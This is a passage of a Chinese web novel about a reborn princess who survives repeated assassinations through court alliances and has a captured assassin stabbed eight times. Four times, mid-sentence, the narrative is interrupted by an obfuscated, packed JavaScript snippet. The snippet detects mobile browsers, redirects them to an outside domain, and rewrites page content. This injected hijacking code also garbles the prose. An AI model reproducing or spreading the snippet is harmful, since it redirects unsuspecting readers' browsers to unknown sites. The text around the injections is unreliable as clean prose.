“你叫什么?” 站在水榭西侧台面上,等着船过来的李暮歌有些无聊,随口问身旁的少女。 “回殿下,在下姓颜,小名士玉,在家中行六,殿下可以唤六娘或叫我名字。” 颜士玉性情活泼,可能是与达官显贵接触得少,自称上并不严谨,一不小心就变成我了。 李暮歌并不在意,她其实更习惯大家用你我她来说话,而不是一口一个殿下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14858470|159398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一口一个在下。 下下下,哪儿那么多上下,真该将人都拉到现代,接受一下社会主义教育。 “东安颜家千年世家,传承不俗,前有占尽天下之才的颜濯颜太师,后有众才女之首的颜士珍颜修撰,不知六娘会不会是下一位名传天下的才女?” “我?我、在下肯定不行,在下读得书没有阿姊多,也没有阿姊那么聪明。”颜士玉一通手忙脚乱,连连摆手否认,她是真不行啊! 李暮歌觉得颜士玉还挺可爱的,这才是真正十五岁的小姑娘。 哪儿像自己啊,也没大几岁,但已经满是沧桑了。 说起来,颜士珍现在在史馆做官,当修撰修史,真难为自己还记得这件事。 李暮歌看小说的时候,对小说里的官职描述没什么真实的感觉,属于眼睛看了,脑子没记,反正她能将人名跟人对上就不错了。 现在穿到这个世界,一开始为了将人和人名官职对上,脑细胞不知道死了多少,那还仅仅是将宫中一部分宫人对上官职和人名。 现在她到了宫外,又得开始相同的工作了。 好在今日只有一个颜士珍,颜士珍身为大公主的心腹,在书中被反复提及,她的官职和需要做得工作,更是在书里出现了许多次,李暮歌还算有些印象。 完蛋,以后遇见更多人,她肯定记不住了。 李暮歌能记住小说的大概内容,都算她刚上大学,脑子还比较好用,这要是等过两年再看小说,她穿越后估计连主角名字都记不住了。 “船来了,殿下快上船,小心些!” 颜士玉原地蹦了一下,人就已经窜到船上去了,那船只是微微一晃,没有太大的反应。 这一手让李暮歌看得一愣一愣的,正常人肯定没法做到这一步,正常人上船,那船要是没晃得跟要翻了似得,都算熟练工了。 颜士玉没觉得自己上船的动作太敏捷灵活,她自幼君子六艺,一样不差,骑射也是极好,下盘稳得不行,上个船怎么可能还晃半天啊。 李暮歌看着水,有些害怕,她有次是被人推下水后淹死的。 她本人不会水,而且哪怕是提前学了一点儿游泳技巧,也扛不住那一次死劫里,有善水者在水下拉她脚。 被淹死好几次后,李暮歌对水已经有了阴影。 颜士玉没看出李暮歌对水的恐惧,以为是公主金枝玉叶,等人扶,便伸出手来够李暮歌的胳膊,整个姿势就很像杂耍,带着在极致平衡中维持稳定的美感。 李暮歌又被颜士玉的“杂耍”吓了一跳,在一惊一乍中,她可算是登上船了。 连带着还有一两个侍女跟着一起,旁边还有两艘船,载着会水的仆妇们。 船夫用力划桨,船儿一路往荷花深处而去,左右两边的水面很快被荷叶占据,船微微荡着,扫走了李暮歌的紧张与惧怕。 看不见水后,李暮歌一下子就精神了。 她抬头看了一眼兴致盎然的颜士玉,问道:“你经常来此地泛舟湖上吗?” 5. 第 5 章 颜士玉点点头,“自打到了这长宁后,阿姊不时便会来此与大殿下聊诗词歌赋,我跟着阿姊,实在无聊,便来这儿泛舟。秋日残荷亦有一番风味,冬日若是落了雪,水面还会飘些冰,乘那种有篷子的船,煮茶赏景,别有风味。” 长宁城是大庄的都城。 “你是去年秋日从东安到长宁的啊,东安离长宁有些远,路上颠簸是不是很辛苦?” 与颜士玉相处很融洽,李暮歌便也放下心防,与她享受起此刻光阴,说话时露出些少年人的天真烂漫。 颜士玉点点头,“对啊,殿下真聪明,一下子就猜出我是何时过来的了!赶路确实辛苦些,但出远门都这样,途径的风景足以抵过那些辛苦了,殿下可知,我们东安到了这个时候,会举办百花宴,以百花为食材,一花一桌,共百桌,宴请城中百姓,荷花宴是百姓们最喜欢吃的一桌。” 李暮歌还真不知道,小说里没提过,现实中好像也没听说过这样神奇的习俗。 她满是憧憬地喃喃道:“世上万物如此有趣,好想到处看看,到处玩玩。” 所以她怎么甘心一次次死在宫中,一次次重新回到开头呢? 凭什么是她死呢?她想活着! 李暮歌本来放松下来的心神,瞬间被死亡随时可能来临的紧张充斥,她怎么能放松呢?她放松了,小命可就没了。 “一般情况下,你姐什么时候离开?” 李暮歌想回水榭上去了,今日来大公主府,她可是身带任务,不能太过沉溺于玩乐。 虽然这湖上泛舟的好事,放在现代她得去5A景区花钱才能体验一次,但是要是小命没了,什么都没了! “啊?我姐?我阿姊吗?”颜士玉被李暮歌突然转变的话题说得有点儿没反应过来,刚刚她们还在聊东安习俗,聊荷花宴啊。 明明十四殿下挺开心的,怎么突然就要赶她阿姊走了? 颜士玉摸不着头脑,李暮歌是公主,再不解也只能乖乖回答公主的问题,还不能问公主一句话。 “一般来说,大概半个时辰,阿姊与大殿下便会从水榭出来,回屋午睡。” 李暮歌暗暗咬牙,吃饭欣赏歌舞,跟好友聊天,还能倒头就睡,这日子过得比她舒服太多了。 可恶!输了! 李暮歌默默握紧拳头,抬头冲划船的仆从喊道:“转头,本殿下要回去!” 这船坐不了一点儿了,要是不在大公主午睡前拦住她,今天下午她岂不是啥也没干成。 总不能大公主睡着了,她去将大公主摇醒吧! 万一大公主床上还有某个“幕僚”……她脸皮薄,绝对不能发生那么尴尬的事情,她会想死了重来的! 大公主正与颜士珍坐在一处,欣赏画作,若是有人凑近了听她们说话,就会发现,她们所说的话,跟桌上的画没有一点儿关系。 “听说,西北军近来打了场败仗,死了不少人,连荣阳的二表兄都受了伤,险些危及生命,可此事没有报于朝廷,士珍你说,为何不上报呢?” 大公主接到消息的时候,颇为不解,荣阳与她那些镇国将军府的表兄感情甚笃,她二表兄差点儿死了,荣阳肯定会上报此事,然后集结力量打回去,非得给她二表兄报仇才是。 这才是符合荣阳性子的决定,隐瞒不报,太反常了。 “战事不上报,原由无非是那几个,或败因有疑,或无力反抗,镇国将军府上的小将军只是差点儿死在战场上,既然没死,就不存在无力反抗的情况。” 颜士珍仔细地抽丝剥茧,将事情本质剖析出来。 大公主若有所思地点点头,“没错,边境多年常胜,不可能无缘无故吃了败仗,凌家那几个小将军在战场上杀敌多年,行兵时最是谨慎小心,况且还有众多士兵保护左右,怎会叫敌军差点儿杀了将领?” 颜士珍伸手在画上轻抚,摸了摸那一朵颜色艳丽的牡丹花,“臣倒是想起一件事,听说前不久,太子妃家中幼弟到了西北,荣阳特意叮嘱凌家人,务必好生照看他。此次边关战事过后,他应该能拿几个人头,入武将行列,但最近一直没有听说,武将之中,多了一位杨姓小将军。” 太子妃出身泷阳杨氏,世家最是看不起庶族,而镇国将军府的凌氏,是盛天皇帝一手提拔起来的武将,完全庶族出身,家里往上数个三四代才能勉强与某个小士族有些关系。 两家素来没什么交情。 “哈!她那个不学无术的弟弟,能在边关立功?杨氏这是故意为难凌氏吧,荣阳可真是忍辱负重。” 大公主张嘴一连串嘲讽挖苦的话吐出来,阴阳怪气得很。 尤其是最后四个字,她几乎是咬着牙说出来的。 颜士珍无奈,三公主就比大公主小三岁,两人从小到大都不对付,主要是三公主自小就跟太子更亲近,大公主和太子之间的仇太深了。 “士珍,你说有没有可能,就是杨氏那个浪荡子犯了错,才导致此战大败?也只有太子才能让荣阳吃亏了。” “不无可能。” 颜士珍没有断定此事真相,还需要更详细的查一查,能抓到杨家的把柄最好,杨家和太子一荣俱荣一损俱损,杨家人在朝堂上占据了不少位置,哪怕只让其中一个人腾个位置,对她们来说,也极为有利。 大公主了解颜士珍,颜士珍说不无可能的时候,那基本上九成九就是如此了。 她一想到荣阳被迫吃亏,还是太子让荣阳吃亏,心里就高兴,尤其这件事还能抓到太子的把柄,实在是好事一桩。 想到这儿,大公主便笑出了声。 李暮歌刚从船上下来,就听见了大公主的笑声,身旁的颜士玉还感叹了一句。 “好久没有听到大殿下笑得如此开怀了。” 她刚说完,就对上了李暮歌奇怪的眼神,“十四殿下?” 颜士玉以为自己头上沾了荷叶之类的,都要上手摸一摸了,便听李暮歌说道:“没事。” 只是刚刚幻视了一下总裁文里的管家,颜士玉是管家,大公主是总裁的话,那颜士珍是女主? 将颜士珍那张清冷脱俗的脸代入了一下,李暮歌鸡皮疙瘩起一身。 算了算了,高岭之花不适合当开心果,根本想不出来颜士珍扮可爱,逗大公主的样子。 李暮歌大步入内,像是走得快一点儿,那些乱七八糟的设想就追不上她。 “是何事让大皇姐如此开怀?”李暮歌笑着问道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14858471|159398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“可否说出来,让妹妹也跟着一起高兴高兴?” “看见首称心的诗,那小诗逗趣得很。十四,你们这么快就回来了啊。”大公主不着痕迹地岔开话题,“可是湖上无聊,不好玩?等过段日子,皇姐这儿要办诗宴,届时整个长宁的有才之人均聚集于此,十四那时候过来,就不无聊了。” “谢过皇姐邀约。”李暮歌没说来不来,她能不能活到那时候还不一定呢,“皇姐可知,妹妹今日为何要来府上叨扰?” 大公主还真不知道,她从来不在意那些无关紧要的人。 连千里之外西北军吃了败仗的事情都知道,却不知道近在咫尺的皇宫里,上门游玩的妹妹刚经历一场刺杀。 多讽刺。 “还请皇姐屏退左右。” 李暮歌见大公主面露迷茫之色,直接开口要求清场。 大公主不解,却还是挥了挥手,让下人都离开了,屋里只剩下她与李暮歌,还有颜家姊妹。 李暮歌看向颜士珍,颜士珍回以平淡无波的眼神,像是世间万物都不能扰乱她的心神。 颜家姊妹不走,李暮歌当然不会出口赶人。 “有刺客入宫,想要射杀我,我命大,死里逃生。那刺客所用箭矢比寻常箭矢要慢,我记得前段时间西北军上报地龙翻身,有一仓库军械被埋了,急需补充,兵部库存不足,连一批有瑕疵的箭矢都给了西北军。” 李暮歌知道什么箭快还是箭慢啊,对她这个无论前世还是今生都四肢不勤的人来说,那个箭真是快如闪电。 她死了好几次都躲不开。 此刻她说的话,全都是原文里查出来的,箭矢是证据这件事,李暮歌没有跟良嫔说。 良嫔要得证据,是那种可以咬死荣阳的证据,唯有这种铁证才能让良嫔鼓起勇气,向荣阳发难。 要是真能查出那种铁证,原文里大公主能借此事,叫荣阳给李暮歌以命偿命,绝不可能只是高高拿起轻轻放下。 箭矢这个证据,给良嫔没用,给大公主却极为有用。 原文里,大公主单单只靠自己随口一说的反抗之语,一个猜测,就能将此事跟太子党挂上钩,然后查下去,想方设法给太子党定罪。 现在有指向性的证据摆在眼前,李暮歌不信大公主会放过机会。 “当真?” 大公主眼睛一亮,扭头看向颜士珍,颜士珍显然心情也不错,眉目含笑。 “自然当真,箭此刻就在我母妃的梧桐殿中,若不是那箭比较慢,我也躲不过去那一箭。” 李暮歌没说翠玉拿匕首给她挡住的事,宫中不能私藏武器,翠玉是良嫔的贴身宫女,她应该是专门保护良嫔的人。 供出翠玉,对李暮歌没有丝毫好处。 “唉,没想到你刚刚竟经历了如此惊险之事,一会儿皇姐亲自送你回宫吧,你可有什么想要的东西?皇姐送你压压惊。” 大公主轻声问着,强作担忧,难压的嘴角都压下去了。 李暮歌一听到自己还有好处拿,心情也好了不少。 她此刻只想给大公主竖个大拇指,大公主真不愧是文里走到最后的反派,拥有这份铁石心肠和精湛的演技,大公主做什么都会成功的! 6. 第 6 章 当天下午,大公主亲自入宫,将李暮歌送到了春和宫,顺便走了一趟梧桐殿,将箭拿走了。 李暮歌要了个城外的庄子做压惊之物。 京城寸土寸金,外头的庄子也十分值钱,家里没点儿底子的话,根本没法置办位置好的庄子。 良嫔娘家并不富裕,李暮歌身为皇室公主,及笄之前拿月钱,及笄之后也是拿月钱,她若是想要皇室为她置办田地,得等她有封号的时候。 不受宠的公主,一般是成亲的时候才会有封号,由礼部拟定,皇帝亲批。 李暮歌可等不到她成亲的时候,她能不能活到那个时候都不一定。 此刻要庄子,也不过是全她一个梦想。 看着手中的地契,李暮歌眼中光芒明灭交替,她在读书的时候,最大的梦想就是寻个人少的地方住着,最好有一间自己的小院子,种些花花草草,养两只猫,两条狗,跟父母一起几十年,最后安安静静过完一生。 曾经那么简单的愿望,如今,是那么遥不可及。 她回不去了,没有了亲人,还要在这个世界一遍遍死去。 李暮歌眼眶发酸,却迟迟没有滴落一滴泪,愤怒不甘的情绪再次占据了她的心,一直到白芍从外头回来,她的情绪才稍稍被压下去些许。 “大公主走了?” 白芍刚进屋,就听见了十四殿下冷冰冰的声音,那声音像是压抑着愤怒的情绪。 明明刚刚大殿下在的时候,十四殿下心情还很不错。 白芍不敢多想,连忙低头道:“回殿下话,大殿下已经出宫了,梧桐殿的翠玉姑姑在外求见。” “让她进来。” “是。” 翠玉进来的时候,天已经有些黑了,屋内的宫人点燃蜡烛,罩上灯罩,烛火昏黄,远没有日光明亮。 正如此刻翠玉的心情,晦暗不明。 “奴见过殿下,殿下安好。” 翠玉上前行了一礼,微微躬身,李暮歌点点头。 “起吧,可是母妃有什么话要对本殿下说?” “殿下,是奴私下前来,特意来谢殿下庇护之心,多谢殿下未曾与旁人说起今日之事。” 如果翠玉私藏武器的事情被发现,少不得要去一趟宫里的掌罚司,掌罚司许进不许出,到时候就算她活着出来,半条命怕是也搭进去了。 李暮歌没想到良嫔没话带给她,该说不说,良嫔的精神状态可真够稳定的。 比她强,她现在看见人,就想把人弄死。 李暮歌心里的愤怒又像野兽一般,开始撕咬她的心脏,她深吸口气,好半晌才开口,“恩将仇报的事情,本殿下不屑去做,等你回去后,同母妃说一句,本殿下命大,白天那些人没能成功,晚上肯定还会有人来。” 即便她找了大公主,那幕后之人也不会放过她,就是不知道下一波刺杀是她哪位好姐姐好哥哥安排的了。 翠玉闻言,并不是很相信还会有人来行刺,晚上皇宫会戒严,哪个不长眼的家伙敢进来? 但她只是个宫人,话她一定得传到。 良嫔听了此话后,与翠玉一样,觉得晚上不可能发生刺客刺杀的事。 而且李暮歌年纪轻轻,从未掺和过朝堂之事,在宫里低调的像个影子,怎么可能有如此痛恨她的敌人呢? 好在良嫔是个谨慎的人,她想到下午大公主拿走的箭,敏锐察觉到这件事,可能不仅仅是刺杀一个无足轻重的公主。 她和十四,很可能是不小心卷入了大公主与太子之间的争斗,想要活命,必须提高警惕。 因此良嫔特意将郭勇寻来,叮嘱女婿晚上要多多加派禁军到春和宫附近守着。 郭勇从白天忙到晚上,为了能瞒住此事,不引起有心人利用,他累得眼睛都出血丝了,再加上下午还真在一处荒废宫殿发现了些蛛丝马迹,确定行刺之人当真还在宫里,他更是心中忐忑。 现在听了良嫔的吩咐,二话不说就加派了人手。 行刺没成功,事情就还在可控范围内,哪怕压不住,也不会有太严重的后果,要是行刺成功了,到时候引来天子震怒,谁都别想好过! 入夜,万籁俱静,值夜的宫人站在门口,不时剪一剪过道中宫灯的灯花,打发漫漫长夜。 一道黑影无声无息翻上墙头,又悄无声息地落下,踩在地上时,竟是一点儿声响都没有。 那黑影对宫中布防很是熟悉,到了春和宫附近时,硬是从一队接一队的禁军之中,寻到了巡逻时的破绽,混了进去。 他落地后,目标明确的往主卧而去,在门口守着的宫人,甚至连他的影子都没看见,就被他给打晕了。 扶着身体软下来的宫人,轻轻放在拐角的角落里,让她看上去像是偷懒睡着了,黑影随即开门,闪身入内,进去后将门关好。 全程几乎一点儿声音都没有发出。 屋里黑漆漆的,一盏灯都没有,窗户紧闭,只能看见大概的影子。 那人像是能够夜视一般,精准避开了地上的杂物,撩开落下的帘子,走到了床边。 床上很明显有人,被褥都是隆起的模样,一道寒芒在空中闪过,匕首直直刺向床上那人心脏的位置。 下一秒,刺入棉花的触感让刺客一愣。 床上没人! 黑暗中有人拉了拉手边的丝线,清脆的铃铛声音在夜里格外明显,窗户突然被推开,从外面翻进来两个女子,两人翻进来后手上一用力,腰间缠绕的细剑出鞘,刺向呆立在床边的刺客。 刺客反应极快,一个下腰躲过两人的剑,脚蹬了床沿一下,借力向后飞出,顺手甩出两个飞镖。 软剑一甩,两名女子将飞镖打落,趁着这个时间,那刺客飞速跑向门口,想要开门出去。 谁知一用力,门不知何时被人从外面锁上了,根本打不开! 刺客没有多费时间,转头冲向两女子进来的窗户,因着两名女子在靠他左手边的位置,堵住了他冲向左边窗户的路,他只能往右边窗户跑。 翻出去的瞬间,刺客暗道不妙,外头竟还有两名女子,此二人是身形健壮的妇人,手上拎着大网,直接笼在了他头上,他一人之力,无法挣脱两名力气极大的妇人。 刺客拿匕首在身前挥舞,想要将那大网划断,谁知匕首打在网上,竟是金属碰撞的声音! 那网是铁丝编织,外面包了一层麻,凭借匕首根本没法全数划破! 刺客被网住后,还想挣扎,手上的匕首往那两名妇人身上刺,后头追出来的两个女子上前,一剑划向他的手腕,一剑刺向他的肩膀。 冲着手腕的剑只划破了他的衣服,被他手腕上的铁护腕给挡住了,肩膀那一剑则直接刺入了他的身体。 肩膀一剑用力刺入又抽出,瞬间袭来的疼痛和无力,让刺客松开了握着匕首的手,那匕首落在妇人身上,只将妇人的衣服划了个口子出来。 “殿下,捉住刺客了!” 两个女子上前,那剑上还有血迹的女子伸手,动作利索地卸了刺客的下巴,以免对方自尽。 另一名女子则转身向过道深处喊了一句。 灯火闪动,更多宫灯被点亮,黑夜被烛火映照得犹如白夜,躺在地上无力挣扎地刺客眼中,被刺激得流出几滴泪来,视线变得模糊不清。 他只能看见一个身着宫装,手持宫灯的女子上前来,似是好奇地看了他一眼。 “真是猖狂,白日刺杀失败,晚上还来,殿下,此人不如交予奴,奴带到梧桐殿去。” 翠玉沉声同李暮歌说,李暮歌摇摇头。 “已经够热闹了,再将人带走,一定会惊动更多人,到时候姐夫也不一定能将此事压下去。” “殿下,刺客已然被抓,接下来只需顺藤摸瓜,便能查清幕后主使,不必再遮掩消息了吧?” 翠玉没想到李暮歌还想压下她被刺杀的消息,白天没上报是因为刺客跑了。 现在何故还要隐瞒? 李暮歌眯着眼睛,看向那卧倒在地,十分狼狈的刺客,心里不禁生出两分快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14858472|159398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意来。 这个刺客,深更半夜潜入春和宫刺杀她,她在这个刺客手里死了整整六次,严格来说是八次,还有两次是她在躲避过程中,发生了些意外。 每次有人来刺杀她,她都会变得格外倒霉,逃过刺杀也逃不过刺杀过程中的意外。 “上报有何用,那人能将刺客送入宫中,还能让他如此熟悉我春和宫的地形,光凭一个小小的刺客,能将那人揪出来才怪。” 更不要说,这些刺客可能不是来源于一个人,反正今日来得刺客,是两人而非一人。 白天那个刺客擅用弓,李暮歌在那个刺客手里死了很多次,每次都是被弓箭所杀,那个刺客哪怕是近身杀她,都没有用过匕首。 而这个刺客,他的远程武器用得很不好,追杀她的时候,他曾经冲她射过飞镖,没有一次命中她,在她那么倒霉的情况下还无法命中,简直就是个人体描边大师。 回想起那几次死亡的经历,李暮歌咬紧了后槽牙,呼吸声越来越急促,愤怒一瞬间冲上来,叫她满心只有一个想法。 她要杀了眼前这个敌人! 李暮歌上前两步,将地上的匕首拿了起来,举着匕首继续往前,手持软剑的女子赶忙上前拦住她。 “殿下,此人危险,还是不要靠近得好。” “是啊,若是殿下想惩罚此人,尽管吩咐奴与姐姐便是。” 李暮歌被人一拦,心里的火消失了些许,理智回归,让她皱了皱眉。 确实,这个刺客身手很好,而且谁知道对方身上还有没有保命或要人命的手段,她怎么能如此莽撞,直接上前呢? “确实要小心。”李暮歌抿抿唇,将匕首递给那刺了刺客一剑的女子,“在他身上捅上八刀,别让他死了,好不容易抓个活口,或许能叫他吐出些有用的东西。” 她死了八次,给他八刀,还算公平。 算上女子之前刺的那一剑就不公平了? 呵呵,她跟敌人讲什么公平,等以后有机会,李暮歌一定会将眼前这人挫骨扬灰!别说什么刺客是主子的刀,她应该跟主子计较,而不是跟一把刀计较。 刀要挫骨扬灰,主子更是应该魂飞魄散,才能解她心头之恨! 荣阳得死,这个刺客的主人,也得死! 在李暮歌冷冰冰的目光下,女子接过匕首,在下手前,女子让妹妹先将那刺客的嘴堵住。 随后一刀又一刀刺入那刺客体内,因为嘴被堵住,所以只能听见刺客喉咙里压抑的痛苦闷声,那声音在黑夜里传出去老远,清晰可闻,但却无法越过春和宫的宫墙。 四周围观的宫人愣是听出了一身冷汗,看向李暮歌的眼神从原本对十四公主的恭敬,变为了对李暮歌的惧怕。 杀人不过头点地啊!如此酷刑,连经过训练的她们都受不了,十四公主原本只是个天真烂漫的小公主,她怎么能想出如此酷刑! 关键是,李暮歌还在笑。 她当然会笑,报了一点仇,她心情大好! 等八刀刺完,地上刺客满头大汗,行刑的女子同样是一身汗,那女子转过身来,单膝跪地,将满是鲜血的匕首捧在手上,呈给李暮歌。 “回殿下话,奴不负殿下所托,八刀尽刺,此人尚有一口气在。” “嗯,翠玉姑姑,烦请姑姑同母妃说一声,保这刺客一条命,尽早将幕后主使之人查出来,本殿下可不想哪天睡下,便再也看不到第二日的太阳了。” “是,谨遵殿下之命。” 翠玉恭顺地行了一礼,然后目送李暮歌带着宫女推门入屋,点燃了屋中的蜡烛,正式准备就寝。 翠玉带着人收拾残局,那刺客抬到了春和宫后头偏僻的屋中,翠玉连夜审问,还真审出点儿东西来。 第二日清晨,李暮歌睁开眼,一夜好眠。 她躺在床上,低声笑了笑。 李暮歌发现,自她来到这个世界后,此刻是她最为快活的时候。 但还不够,那些让她受罪的人,每一个都不能放过! 7. 第 7 章 听到床上有了动静,白芍低声说道:“殿下,翠玉姑姑求见。” 李暮歌立马从床上坐起来,撩开床幔,穿上鞋,“让她进来。” “殿下,您还未曾……” “翠玉姑姑不是旁人,让她进来吧。” 李暮歌迫不及待想要知道第二个想要她命的人,究竟是谁! 没有穿衣梳妆怎么了?她身上穿着“睡衣”,在自己屋里,见个人还不行了? 死去活来那么多回,现在的李暮歌一点儿都不在意这些小事,旁人爱怎么看她怎么看她,大不了她死一次,直接读档重来了。 对于古人来说,亵衣相当于现代人只穿了内衣,但现代人的内衣是真内衣,古人的亵衣那是真一身包裹严严实实,李暮歌反正觉得,两者无法相比。 对白芍来说,李暮歌穿亵衣见人的举动,真有点儿离经叛道,好在翠玉也是女子,还是宫人,此事勉强说得过去,所以白芍也没说什么,转身出门,让翠玉进来。 等翠玉入内,看见坐在桌边,披头散发穿亵衣的公主时,差点儿一个脚滑,当场来个五体投地。 好在翠玉姑姑是见过大世面的人,无论多血腥,多离谱的事情,都不会让她失礼半分,只见她迅速恢复正常,向李暮歌见礼。 “奴见过十四殿下,问殿下安。” 她行完礼后,立马将一晚上的成果呈给李暮歌,“奴连夜审问刺客,那刺客已然交代了他的来历,所有供词皆记录于纸上,还请殿下过目。” 李暮歌接过纸,翻看两页,神情一瞬阴沉,随后又多了几分惊讶,看完所有供词后,她略有些不可置信地问:“他说得是真话吗?” “回殿下,刺客所言仅能作为佐证,真相究竟如何,还需再查。” 翠玉说到这儿,面露难色。 李暮歌了然,她将厚厚一沓供词放在一旁,笑道:“母妃如今可信了本殿下的话?” 翠玉赔笑两声,“殿下说笑了,殿下是娘娘亲女,娘娘怎会不信殿下之言?” “昨日本殿下费了不少口舌,母妃也只允了你们几人来春和宫,现今天亮了,母妃便要让你们回去。”李暮歌拎起手边的茶壶,给自己倒了一杯清茶,那茶刚泡出来不久,清香扑鼻。 李暮歌低头嗅了嗅茶香,含在口中一口,又吐到一旁的空茶杯中。 全算作漱口了。 漱了口,说出来的话就能更直接一些,免得染了隔夜的臭。 李暮歌接着说道:“事情查一半就不查了,实在不像是信任,翠玉姑姑,你是母妃跟前一等一的心腹,更有一身本领,放在后宫实在屈才了,不如姑姑来春和宫,本殿下已经及笄,同父皇说一声,应当也能入朝,为父皇分忧一二,届时姑姑随本殿下出宫做事,不比困在这四方宫廷之内,要强得多吗?” 翠玉差点儿没维持住脸上的笑。 她是良嫔心腹,当年六公主出嫁,良嫔都没舍得让她出宫去陪六公主,比起六公主,十四公主其实更不受宠,哪儿有什么前途可言。 至于十四公主所说的入朝做事,那可不是上下嘴皮动一动就能入的,当今皇帝李麒为人功利,他子女无数,对他来说,孩子只分有用和没用两种。 有用的孩子,如大公主太子等,早早就在朝堂上站稳了脚跟。 没用的孩子,如四公主、七皇子等,身上只有成亲时给予的封号,平日里连进宫见一见自己母妃都得看皇后脸色。 十四公主比四公主、七皇子等要强上一些,那是因为良嫔还算得宠,她还有个同胞姐姐六公主,没了良嫔和六公主,十四公主在后宫,也不过是个无名无姓的小可怜。 “看来,姑姑觉得跟着本殿下没前途,也是,本殿下不过是个谁都能踩上一脚的石头,有用时搬来,无用时一脚踢开。” 李暮歌说着,眼中流露出几分凶光。 “只是若是小石子,自然任由他们踩踢,若是巨石,他们伸腿去踹,那就只会踹断自己的腿!” 李暮歌以前确实是块小石子,但现在,她是巨石,而且是不断刷新的巨石,谁都别想将她踹走! 李暮歌最后问翠玉,“姑姑,可明白?” 今日如果不能说服翠玉,李暮歌不会躲避下一次刺杀,她会直接死去重来。 然后在下一次重生后,想办法去找新的同盟,并且记住翠玉是良嫔心腹,不会轻易被说服,不用在翠玉身上浪费口舌,离她远点儿,以免打草惊蛇。 翠玉挤出一抹微笑,绞尽脑汁想着要怎么拒绝,当她对上李暮歌冰冷的眼神时,突然想起昨夜十四公主站在一旁,冷眼观刑的模样。 李暮歌并不是一只小白兔,她长有獠牙,是头猛兽。 翠玉沉默下来,不知为何,她心中陡然生出一股强烈的预感,此刻答应十四公主,日后她真的能施展一身所学。 “娘娘一直觉得,六殿下更像她,或许娘娘错了。” 松口了。 李暮歌闻言露出一抹浅笑,打碎了眼底的坚冰,整个人一下子温和了下来,好似刚刚那个锋利如宝剑的人不是她。 “翠玉姑姑说笑了,比起六皇姐,本殿下还差得远。” “殿下谦虚。”如果遇到刺杀的人是六公主,翠玉想,六公主一定不如十四公主淡定自若。 “殿下若真有入朝之心,不如恢复去太学读书一事,太学内多高官世家之后,想来能为殿下入朝添一份助力。” “多谢翠玉姑姑教诲,半个时辰后,本殿下会去梧桐殿同母妃请安,还请翠玉姑姑回去后,为本殿下美言两句,为人子女者,不希望母亲多忧,有些事便不要告知母妃了。” 刚投诚,李暮歌就要求翠玉帮她做事,翠玉能怎么办呢?翠玉只能答应,她不光要做,还要做好,如此才能得到李暮歌更多赏识。 “殿下放心,昨夜抓到的刺客没熬过酷刑,今晨已然没了气息,他嘴太严,什么都没说。” 翠玉对良嫔的了解程度远超李暮歌,李暮歌不希望良嫔知道什么,翠玉全数明白。 “那昨日帮翠玉姑姑的几个宫人……” “她们都听奴的吩咐,殿下放心。” 良嫔久居深宫,对手底下人的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14858473|159398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 掌控能力,还没有翠玉强。 李暮歌闻言笑得更满意了,心里则警惕起来,必须要小心这些为人办事的奴仆,人人都有私心,谁也不知道他人隐藏着什么秘密。 决不能全然信任任何一个人,否则在那个人背叛之时,付出信任者会付出惨痛的代价。 翠玉退下后,让人处理了刺客,最后带着尸体到了梧桐殿。 李暮歌不让活着的刺客走出春和宫,死了的刺客她就不管了。 等翠玉离开,李暮歌叫人来伺候洗漱更衣,只用了一刻钟的时间,随后让人传膳,李暮歌边完早膳,将白芍叫到跟前,询问了一下太学的事情。 前百次里,一直没人跟她提过上太学读书一事,她还以为原主已经毕业,不用上学了。 翠玉在提起太学之事时,用到了“恢复”一词,还是用询问式的语气,说明太学读书的事情是被人暂停了,暂停此事的人,很可能是原身。 提到“太学”,白芍平日里生机勃勃的小脸上,少见的出现了阴沉之色。 显然太学对白芍来说,不是个好地方。 “殿下,太学那群家伙欺人太甚!殿下今日提起此事,是终于打算将此事与娘娘说一声了?” “嗯,宫中不安全,不如出宫找人多的地方避一避,太学人够多,且都是官宦之后,想来没有刺客敢到太学刺杀。” 李暮歌随便找了个借口,解释了自己的行为。 